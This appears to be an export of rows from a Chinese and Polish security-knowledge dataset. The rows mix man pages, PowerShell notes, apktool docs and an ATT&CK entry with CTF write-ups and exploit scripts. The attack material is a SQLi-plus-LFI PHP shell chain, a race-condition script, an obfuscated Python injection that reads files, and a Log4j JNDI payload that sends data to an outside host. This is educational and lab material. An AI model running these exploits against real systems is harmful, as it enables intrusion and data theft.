I możemy dzięki temu pobrać z `Information_Schema.Tables` i `Information_Schema.Columns` dane poprzez proste substring oraz porównywanie wartości bajt po bajcie za pomocą funkcji oracle.
Stąd wiemy, że jest tylko jedna tabela użytkownika i zawiera `countryID, countryName, scriptPath`.
Ostatni parametr jest szczególnie ciekawy bo zawiera ścieżkę do plików php, które są includowane na stronie.
Mają postać: `country/ge.php`, `country/tu.php` etc.
Moglibyśmy użyć naszego SQLi żeby includować jakiś inny plik przez `index.php?country=' union select 'somefile.php' -- comment` ale nie możemy póki co umieścić niczego na serwerze.
Niemniej skoro kontrolujemy ścieżkę do include to może stare dobre wrappery php zadziałają i czy serwer pozwoli includować: `php://filter/read=convert.base64-encode/resource=country/ge.php` i tak jak na to liczylismy, dostaliśmy ładne base64 z kodu skryptu.
Analiza kodu pozwala stwierdzić, że możemy uploadować pliki na serwer za pomocą skryptów dla niektórych krajów!
Mamy tam:
```php
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);
/*echo $_FILES["fileToUpload"]["tmp_name"] ."\n";
var_dump($_FILES["fileToUpload"]);
var_dump(file_exists($_FILES["fileToUpload"]["tmp_name"]));
echo file_exists($target_file);*/
?>
```
Widać wyraźnie, że mozemy spokojnie wrzucić za pomocą formularza shell php na serwer i użyć SQLi żeby go includować i użyć, bo wiemy że jest dostępny pod `uploads/file_name`.
Umieszczamy więc nasz shell i odnajdujemy ukryty plik php z flagą: `h4ck1t{$QL&LFI=FR13ND$}`
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "SET" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
SET \- 改变运行时参数
.SH SYNOPSIS
.sp
.nf
SET [ SESSION | LOCAL ] \fIname\fR { TO | = } { \fIvalue\fR | '\fIvalue\fR' | DEFAULT }
SET [ SESSION | LOCAL ] TIME ZONE { \fItimezone\fR | LOCAL | DEFAULT }
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
SET 命令修改运行时配置参数。许多在 Section 16.4 ``Run-time Configuration'' 里面列出的运行时参数可以用 SET 在运行时设置。 (但是有些要求使用超级用户权限来修改,而其它有些则在服务器或者会话 开始之后不能修改。)请注意 SET 只影响当前会话使用的数值。
.PP
如果 SET 或者 SET SESSION 是在一个稍后退出的事务里发出的, 那么 SET 命令的效果将在事务回滚的之后小时。 (这个行为和PostgreSQL版本 7.3 之前的不同, 那个时候 SET 的效果在后面的错误之后不会回滚。) 一旦包围它的事务提交,那么其效果将持续到事务的结束,除非被另外一个 SET 覆盖。
.PP
SET LOCAL 的效果只持续到当前事务结束,不管是否提交。 一个特例是在一个事务里面的 SET 后面跟着一个 SET LOCAL:在事务结束之前只能看到 SET LOCAL 的数值,但是之后(如果事务提交),则是 SET 的值生效。
.SH "PARAMETERS 选项"
.TP
\fBSESSION\fR
声明这个命令只对当前会话起作用。 (如果 SESSION 或 LOCAL 都没出现,那么这个是缺省。)
.TP
\fBLOCAL\fR
声明该命令只在当前事务中有效。在 COMMIT 或者 ROLLBACK 之后,会话级别的设置将再次生效。 请注意如果在 BEGIN 块之外运行,那么 SET LOCAL 将表现出没有作用,因为事务将立即结束。
.TP
\fB\fIname\fB\fR
可设置的运行时参数的名字。可用的参数在 Section 16.4 ``Run-time Configuration'' 和下面归档。
.TP
\fB\fIvalue\fB\fR
参数的新值。值可以声明为字串常量,标识符,数字,或者逗号分隔的上面这些东西的列表。 DEFAULT 可以用于把这些参数设置为它们的缺省值。
.PP
除了在 Section 16.4 ``Run-time Configuration'' 里面有文档记载的配置参数之外, 还有几个只能用 SET 命令设置,或者是有特殊的语法的参数:
.TP
\fBNAMES\fR
SET NAMES \fIvalue\fR 是
SET client_encoding TO \fIvalue\fR 的别名。
.TP
\fBSEED\fR
为随机数生成器(函数 random)设置内部的种子。 允许的值是介于 0 和 1 之间的浮点数,然后它会被乘以 231-1。
我们也可以通过调用函数 setseed 来设置种子:
.sp
.nf
SELECT setseed(\fIvalue\fR);
.sp
.fi
.TP
\fBTIME ZONE\fR
SET TIME ZONE \fIvalue\fR 是
for SET timezone TO \fIvalue\fR 的一个别名。 语法 SET TIME ZONE 允许为时区设置特殊的语法。 下面是有效值的例子:
.RS
.TP
\fB\&'PST8PDT'\fR
加州伯克利的时区。
.TP
\fB\&'Portugal'\fR
葡萄牙时区。
.TP
\fB\&'Europe/Rome'\fR
意大利时区。
.TP
\fB-7\fR
UTC 以西 7 小时的时区(等效于 PDT)。
.TP
\fBINTERVAL '-08:00' HOUR TO MINUTE\fR
UTC 以西 8 小时的时区(等效于 PST)。
.TP
\fBLOCAL\fR
.TP
\fBDEFAULT\fR
将时区设置为你的本地时区(服务器的操作系统缺省的那个)。
.RE
.PP
参阅 Section 8.5 ``Date/Time Types'' 获取有关时区的更多细节。
.PP
.PP
.SH "NOTES 注意"
.PP
函数 set_config 提供了等效的功能。 参阅 Section 9.13 ``Miscellaneous Functions'' 。
.SH "EXAMPLES 例子"
.PP
设置模式搜索路径:
.sp
.nf
SET search_path TO my_schema, public;
.sp
.fi
.PP
把日期时间风格设置为传统的 POSTGRES 风格,
with ``day before month'' input convention:
.sp
.nf
SET datestyle TO postgres, dmy;
.sp
.fi
.PP
把时区设置为加州伯克力, 使用双引号保存时区声明里大写字符的属性 (注意这里的日期/时间格式是 PostgreSQL):
.sp
.nf
SET TIME ZONE 'PST8PDT';
SELECT current_timestamp AS today;
today
-------------------------------
2003-04-29 15:02:01.218622-07
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
SET TIME ZONE 扩展了在 SQL 标准里定义的语法。 标准只允许有一个数字时区偏移, 而 PostgreSQL 还允许完整更灵活的时区声明。 所有其它的 SET 特性都是 PostgreSQL 扩展。
.SH "SEE ALSO 参见"
RESET [\fBreset\fR(7)], SHOW [\fBshow\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# PowerShell 笔记
---
**什么是 PowerShell**
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能.
Windows PowerShell 需要用于管理 .NET 对象的语言.该语言需要为使用 cmdlet 提供一致的环境.该语言需要支持复杂的任务,而不会使简单的任务变得更复杂. 该语言需要与在 .NET 编程中使用的高级语言(如C#)一致.
---
**学习资源**
- https://www.pstips.net/
- [specterops/at-ps](https://github.com/specterops/at-ps)
---
**常见报错**
- **无法加载文件 `******.ps1`,因为在此系统中禁止执行脚本.有关详细信息,请参阅 "get-help about_signing"**
```powershell
set-ExecutionPolicy RemoteSigned
```
- **使用 powershell 运行脚本报错:进行数字签名.无法在当前系统上运行该脚本.有关运行脚本和设置执行策略的详细信息**
```powershell
powershell "Set-ExecutionPolicy -ExecutionPolicy Unrestricted -force |Out-null"
```
---
## 安装Powershell
- https://docs.microsoft.com/zh-cn/powershell/scripting/install/installing-powershell-on-windows
### 支持的 Windows 版本
* ✅ 指示仍支持 OS 或 PowerShell 版本
* ❌ 指示不支持 OS 或 PowerShell 版本
* 💢 指示该 OS 版本不再支持 PowerShell 版本
| Windows版本 | 7.0 (LTS) | 7.1(最新版) | 7.2 (LTS-preview) |
| - | - | - | - |
| Windows Server 2016,2019,2022 | ✅ | ✅ | ✅ |
| Windows Server 2012 R2 | ✅ | ✅ | ✅ |
| Windows Server Core(2012 R2) | ✅ | ✅ | ✅ |
| Windows Server Nano(1809) | ✅ | ✅ | ✅ |
| Windows Server 2012 | 💢 | ❌ | ❌ |
| Windows Server 2008 R2 | 💢 | ❌ | ❌ |
| Windows 11 | ✅ | ✅ | ✅ |
| Windows 10 1607 | ✅ | ✅ | ✅ |
| Windows 8.1 | ✅ | ✅ | ❌ |
以下处理器体系结构在 Windows 上支持 PowerShell。
| Windows版本 | 7.0 (LTS) | 7.1(最新版) | 7.2 (LTS-preview) |
| - | - | - | - |
| Nano Server 1803 | x64、Arm32 | X64 | X64 |
| Windows Server 2012 R2 | x64、x86 | x64、x86 | x64、x86 |
| Windows Server Core 2012 R2 | x64、x86 | x64、x86 | x64、x86 |
| Windows 10 or 11 | x64、x86 | x64、x86、Arm64 | x64、x86、Arm64 |
| Windows 8.1 | x64、x86 | x64、x86 | x64、x86 |
---
## 使用
**PS1文件**
一个 PowerShell 脚本其实就是一个简单的文本文件, 这个文件包含了一系列 PowerShell 命令,每个命令显示为独立的一行,对于被视为 PowerShell 脚本的文本文件,它的文件名需要加上 .PS1 的扩展名。
**PowerShell 的执行策略**
为防止恶意脚本的执行,PowerShell 有一个执行策略,默认情况下,这个执行策略被设置为受限。
我们可以使用: Get-ExecutionPolicy 命令查看 PowerShell 当前的执行策略。它有多个策略。
* AllSigned: 仅当脚本由受信任的发布者签名时才能运行.
* Bypass: 没有任何内容被阻止,也没有警告或提示.
* Default: 设置默认执行策略。 受限于 Windows 客户端或 RemoteSigned 受限于 Windows 服务器。
* RemoteSigned: 本地创建的脚本可以运行,但是从网上下载的脚本不能运行 (拥有数字证书签名的除外)
* Restricted: 不加载配置文件或运行脚本。 Windows 客户端计算机的默认执行策略。
* Undefined: 没有为范围设置执行策略。 从不是由组策略设置的范围中删除分配的执行策略。 如果所有范围内的执行策略为 Undefined,则有效的执行策略为 Restricted。
* Unrestricted: 允许所有的脚本执行.
```
Set-ExecutionPolicy 策略名(如:Unrestricted)
```
---
## 常用命令
> 本部分内容由 [xidaner](https://github.com/xidaner) 提供,在此只做排版修改
### 基础入门
像文件系统那样操作 Windows Registry
```powershell
cd e:
```
在文件里递回地搜索某个字符串
```powershell
dir -r | select string "searchforthis"
```
使用内存找到X个进程
```powershell
ps | sort -p ws | select -last x
```
循环(停止,然后重启)一个服务,如 DHCP
```powershell
Restart-Service DHCP
```
在文件夹里列出所有条目
```powershell
Get-ChildItem - Force
```
递归一系列的目录或文件夹
```powershell
Get-ChildItem -Force c:\directory -Recurse
```
在目录里移除所有文件而不需要单个移除
```powershell
Remove-Item C:\tobedeleted -Recurse
```
重启当前计算机
```powershell
(Get-WmiObject -Class Win32_OperatingSystem -ComputerName .).Win32Shutdown(2)
```
---
### 收集信息
查看当前Powershell版本
```powershell
$PSVersionTable
```
获取计算机组成或模型信息
```powershell
Get-WmiObject -Class Win32_ComputerSystem
```
获取当前计算机的 BIOS 信息
```powershell
Get-WmiObject -Class Win32_BIOS -ComputerName .
```
检查设备驱动程序版本
```powershell
Get-WmiObject Win32_PnPSignedDriver| select DeviceName, Manufacturer, DriverVersion
```
列出所安装的修复程序(如QFE或Windows Update文件)
```powershell
Get-WmiObject -Class Win32_QuickFixEngineering -ComputerName .
```
获取当前登录计算机的用户的用户名
```powershell
Get-WmiObject -Class Win32_ComputerSystem -Property UserName -ComputerName .
```
获取当前计算机所安装的应用的名字
```powershell
Get-WmiObject -Class Win32_Product -ComputerName . | Format-Wide -Column 1
```
获取分配给当前计算机的 IP 地址
```powershell
Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=TRUE -ComputerName . | Format-Table -Property IPAddress
```
获取当前机器详细的 IP 配置报道
```powershell
Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=TRUE -ComputerName . | Select-Object -Property [a-z]* -ExcludeProperty IPX*,WINS*
```
找到当前计算机上使用 DHCP 启用的网络卡
```powershell
Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "DHCPEnabled=true" -ComputerName .
```
在当前计算机上的所有网络适配器上启用 DHCP
```powershell
Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=true -ComputerName . | ForEach-Object -Process {$_.EnableDHCP()}
```
---
### 软件管理
在远程计算机上安装 MSI 包
```powershell
(Get-WMIObject -ComputerName TARGETMACHINE -List | Where-Object -FilterScript {$_.Name -eq "Win32_Product"}).Install(\\MACHINEWHEREMSIRESIDES\path\package.msi)
```
使用基于 MSI 的应用升级包升级所安装的应用
```powershell
(Get-WmiObject -Class Win32_Product -ComputerName . -Filter "Name='name_of_app_to_be_upgraded'").Upgrade(\\MACHINEWHEREMSIRESIDES\path\upgrade_package.msi)
```
从当前计算机移除 MSI 包
```powershell
(Get-WmiObject -Class Win32_Product -Filter "Name='product_to_remove'" -ComputerName . ).Uninstall()
```
---
### 机器管理
一分钟后远程关闭另一台机器
```powershell
Start-Sleep 60; Restart-Computer -Force -ComputerName TARGETMACHINE
```
添加打印机
```powershell
(New-Object -ComObject WScript.Network).AddWindowsPrinterConnection(\\printerserver\hplaser3)
```
移除打印机
```powershell
(New-Object -ComObject WScript.Network).RemovePrinterConnection("\\printerserver\hplaser3 ")
```
进入 PowerShell 会话
```powershell
invoke-command -computername machine1, machine2 -filepath c:\Script\script.ps1
```
---
### 远程桌面
`以下操作,PS 命令窗口,必须都以管理员身份执行.`
1. 机器 A 和 B,分别开启 PowerShell 远程管理服务
A = 192.168.3.32
```
PS >> Enable-PSRemoting
```
然后按照提示,选项选 Y,执行开启远程管理.
B = 192.168.3.37
```
PS >> Enable-PSRemoting
```
然后按照提示,选项选 Y,执行开启远程管理.
2. 机器 A 和 B,分别信任需要远程管理的机器 IP 或名称
A=192.168.3.32
```
PS >> Set-Item WSMan:\localhost\Client\TrustedHosts -Value IP 地址
```
然后按照提示,选项选 Y,表示允许远程发送命令
B = 192.168.3.37
PS >>
```
Set-Item WSMan:\localhost\Client\TrustedHosts -Value IP 地址
```
然后按照提示,选项选 Y,表示允许远程发送命令
3. 在机器 A 上面,远程登录和执行命令到机器 B
A = 192.168.3.32
```
PS >> Enter-PSSession -ComputerName IP地址
```
---
## 语法
### 输出
**Write-Host**
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/write-host?view=powershell-7.2
```powershell
Write-Host "no newline test " -NoNewline
Write-Host "second string"
no newline test second string
```
### 函数
```powershell
function print-some
{
Write-Host "printsome"
}
print-some
```
```powershell
function Get-DateTime()
{
return Get-Date
}
Get-DateTime
```
|
sec-knowleage
|
# apktool包描述
apktool用于对第三方的、已编译的Android应用程序(apk文件)进行逆向工程。通过使用该工具,你可以对apk文件进行反编译和解包,所反编译出的文件和编译前几乎一直,另外,也可以修改部分代码并进行重新打包;当然,通过apktool的反编译功能,可以生成支持单步调试的samli工程。同时,由于apktool简化和集成了很多自动化操作,并且采用了统一的工程文件结构,这使得对Android apk文件逆向过程变得很轻松。
apktool绝不是为了满足盗版和其他的非法之需,而是,可以像某个应用的开发者一样,通过使用它对应用完成一些如添加功能、平台适配等本地化的工作,来满足自己的需要。
主要功能:
* 对资源文件进行高还原度解码(包括resources.arsc、XMLs和.9.png文件)
* smali 调试:SmaliDebugging
* 高自动化功能
**资料来源**:https://code.google.com/p/android-apktool
[apktool Homepage](http://code.google.com/p/android-apktool/)|[Kali apktool Repo](http://git.kali.org/gitweb/?p=packages/apktool.git;a=summary)
- 作者:Brut.alll
- 许可证:Apache-2.0
## apktool包中包含的工具
### apktool Android apk逆向工具
```
root@kali:~# apktool
Apktool v1.5.2 - a tool for reengineering Android apk files
Copyright 2010 Ryszard Wiśniewski <brut.alll@gmail.com>
with smali v1.4.1, and baksmali v1.4.1
Updated by @iBotPeaches <connor.tumbleson@gmail.com>
Apache License 2.0 (http://www.apache.org/licenses/LICENSE-2.0)
Usage: apktool [-q|--quiet OR -v|--verbose] COMMAND [...]
COMMANDs are:
d[ecode] [OPTS] <file.apk> [<dir>]
Decode <file.apk> to <dir>.
OPTS:
-s, --no-src
Do not decode sources.
不对dex文件进行反编译
-r, --no-res
Do not decode resources.
不对资源文件进行反编译
-d, --debug
Decode in debug mode. Check project page for more info.
调试模式
-b, --no-debug-info
Baksmali -- don't write out debug info (.local, .param, .line, etc.)
反编译不输出调试信息
-f, --force
Force delete destination directory.
强制覆盖已存在文件目录
-t <tag>, --frame-tag <tag>
Try to use framework files tagged by <tag>.
使用framework文件
--frame-path <dir>
Use the specified directory for framework files
framework文件目录
--keep-broken-res
Use if there was an error and some resources were dropped, e.g.:
"Invalid config flags detected. Dropping resources", but you
want to decode them anyway, even with errors. You will have to
fix them manually before building.
当出现错误或者资源文件缺失的时候使用该参数。如提示"Invalid config flags detected. Dropping resources",但是你仍然想继续解包。这样的话,在进行打包之前,需要手动修复那些错误的文件才能正常进行打包。
b[uild] [OPTS] [<app_path>] [<out_file>]
Build an apk from already decoded application located in <app_path>.
对一个在<app_path>下的已经解包的应用工程进行重打包。
It will automatically detect, whether files was changed and perform
needed steps only.
apktool会自动检测文件是否修改。
If you omit <app_path> then current directory will be used.
<app_path>的默认值为当前目录。
If you omit <out_file> then <app_path>/dist/<name_of_original.apk>
will be used.
<out_file>的默认值为<app_path>/dist/<name_of_original.apk>
OPTS:
-f, --force-all
Skip changes detection and build all files.
跳过文件变动检查,对所有文件进行重打包。
-d, --debug
Build in debug mode. Check project page for more info.
调试模式下进行重打包。
-a, --aapt
Loads aapt from specified location.
使用指定的aapt。
if|install-framework <framework.apk> [<tag>] --frame-path [<location>]
Install framework file to your system.
安装framework文件。
For additional info, see: http://code.google.com/p/android-apktool/
For smali/baksmali info, see: http://code.google.com/p/smali/
```
## apktool用法示例
使用调试模式对apk文件(/root/SdkControllerApp.apk)进行解包:
```
root@kali:~# apktool d /root/SdkControllerApp.apk
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/apktool/framework/1.apk
I: Loaded.
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Done.
I: Copying assets and libs...
```
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH WC 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
wc \- 输出文件中的行数、单词数、字节数
.SH 概述
\fBwc\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]...
.br
\fBwc\fP [\fI\,选项\/\fP]... \fI\,\-\-files0\-from=F\/\fP
.SH 描述
.\" Add any additional description here
.PP
对每个文件输出行、单词和字节统计数,如果指定的文件多于一个,则同时输出总行数。单词指以空白字符分隔的长度非零的可打印字符序列。
.PP
如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。
.PP
下列选项可被用来选择应该显示哪些计数信息。它们总是按照行数、单词数、字符数、字节数、最大行长度的顺序显示。
.TP
\fB\-c\fP, \fB\-\-bytes\fP
输出字节统计数
.TP
\fB\-m\fP, \fB\-\-chars\fP
输出字符统计数
.TP
\fB\-l\fP, \fB\-\-lines\fP
输出换行符统计数
.TP
\fB\-\-files0\-from\fP=\fI\,F\/\fP
将文件F 中的以 NUL 结尾的名字所指定的文件作为待统计文件;如果文件F 为“\-”,则从标准输入读取这些名字
.TP
\fB\-L\fP, \fB\-\-max\-line\-length\fP
打印最大显示宽度
.TP
\fB\-w\fP, \fB\-\-words\fP
输出单词统计数
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Paul Rubin 和 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/wc>
.br
或者在本地使用: info \(aq(coreutils) wc invocation\(aq
|
sec-knowleage
|
import requests
import sys
url = "http://172.17.0.2/"
url = "https://insocodevault.insomnihack.ch/"
uuid = "5c3c3191-fe28-4d51-94b4-3aabb6e15ab8"
def reset():
requests.get(url + "reset/" + uuid)
def checkout(target):
requests.get(url + "checkout/" + uuid + "/" + target)
def read(target):
return requests.get(url + "repo/" + uuid + "/" + target).text
def work1():
while True:
reset()
checkout("flag.txt")
def work2():
while True:
print(read("flag.txt"))
if len(sys.argv) > 1:
work1()
else:
work2()
|
sec-knowleage
|
# T1608-005-阶段性能力-Link Target
## 来自ATT&CK的描述
攻击者可能会将链接所引用的资源放在适当的位置,以便在针对特定目标时使用。攻击者可能依靠用户点击一个恶意链接来泄露信息(包括证书)或获得执行,如恶意链接。链接可用于鱼叉式网络钓鱼,如发送一封电子邮件,并伴有社会工程文本,以哄骗用户主动点击或在浏览器中复制和粘贴一个URL。在网络钓鱼获取信息(如鱼叉式链接)或网络钓鱼获得对系统的初始访问(如鱼叉式链接)之前,攻击者必须为鱼叉式链接的链接目标设置资源。
通常情况下,链接目标的资源将是一个HTML页面,可能包括一些客户端脚本,如JavaScript,以及决定向用户提供什么内容。攻击者可能会克隆合法网站作为链接目标,这可能包括克隆合法网络服务的登录页面或组织的登录页面,在鱼叉式网络钓鱼链接期间获取凭据。
在获取基础设施(域名)期间,攻击者可能会购买与合法域名相似的域名(例如:同音字、错别字、不同的顶级域名等),以帮助促进恶意链接。也可以使用短域名服务。
## 测试案例
暂无
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。
### 检测
这种活动的大部分将发生在目标组织的可见性之外,因此很难检测到这种行为。检测工作可能集中在攻击生命周期的其他阶段,例如在网络钓鱼链接或恶意链接期间。
## 参考推荐
MITRE-ATT&CK-T1608-005
<https://attack.mitre.org/techniques/T1608/005/>
|
sec-knowleage
|
# Intro
## Description

## Solution:
As in previous years, before being able to start working on the challenges themselves, we need to solve a riddle which will take us to the challenges.
In this year's riddle, we get a single image. We have many details in the image, but it makes sense to start working from the lower bar. We can immediately recognize a zeppelin, and upon closer inspection it seems to be covered with LEDs. Also, we see the word "Floyd" colored pink. This should immediately hint that we're talking about bands: Led Zeppelin and Pink Floyd. After understanding that, we can also identify "OneRepublic" and the rapper Ice Cube(??). No, wait, that must be "Coldplay".
Next to each band we have a timestamp. But for which songs? This is where we should reinspect the image. We can see a stairway to the sun, a kid on the roof counting stars and a sign saying "Viva la Vida". These are all clear references. There's one song left which isn't as obvious, but not so hard to identify from the remaining objects in the image: Sheep.
The next step is to listen to the songs and identify the words at each timestamp:
| Band | Song | Time | Words |
| ---- | ---- | ---- | ----- |
| Led Zeppelin | [Stairway to Heaven](https://youtu.be/iXQUu5Dti4g?t=315) | 5:15 | to join him |
| OneRepublic | [Counting Stars](https://youtu.be/hT_nvWreIhg?t=82) | 1:22 | about the things |
| Pink Floyd | [Sheep](https://youtu.be/3-oJt_5JvV4?t=155) | 2:35 | Jordan and I have seen |
| Coldplay | [Viva la Vida](https://youtu.be/dvgZkm1xWPE?t=79) | 1:19 | sword and shield |
Notice also, there's an "un" between OneRepublic and Pink Floyd. So, putting it all together to a phrase that makes sense in the context, we get "Join the Unseen Shield", which is a reference to the ISA's motto - "מגן ולא יראה" - "The Unseen Shield".
The challenges were available at `https://www.jointheunseenshield.com/`.
|
sec-knowleage
|
# Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback's architecture.
On Dec 2021, a 0-day exploit in the Apache Log4j2 was discovered. Log4j’s JNDI support has not restricted what names could be resolved. Some protocols like `rmi:` and `ldap:` are unsafe or can allow remote code execution.
References:
- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://xz.aliyun.com/t/10649
## Vulnerability Environment
Apache Log4j2 is not a certain web service, it is just a third-party library, so we can use a application that depend on Log4j2 to demonstrate how to exploit this vulnerability.
Execute following command to start a Apache Solr 8.11.0, which use Log4j 2.14.1:
```
docker compose up -d
```
After server start, browse `http://your-ip:8983` to see the admin portal of Apache Solr.
## Exploit
Simply, put the payload `${jndi:dns://${sys:java.version}.example.com}` as the admin action that can trigger the JNDI query.
```
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
```
Query will be shown at the DNS log:

Exploit JNDI injection with [this tool](https://github.com/su18/JNDI) to execute arbitrary commands, `touch /tmp/success` is succesful executed:

|
sec-knowleage
|
from pwn import *
context.log_level="DEBUG"
r=remote("accounts.pwn2win.party",3760)
r.sendline("Fideleeto1926zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz|ZZZZZZZZZZZZZZz")
while True:
l=r.recvline()
if l.find("Exit")>-1:
break
r.sendline("110")
r.sendline("__import__(chr(115)+chr(121)+chr(115)).stdout.write(open(chr(105)+chr(110)+chr(102)+chr(111)+chr(115)).read())")
while True:
print r.recvline()
r.interactive()
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.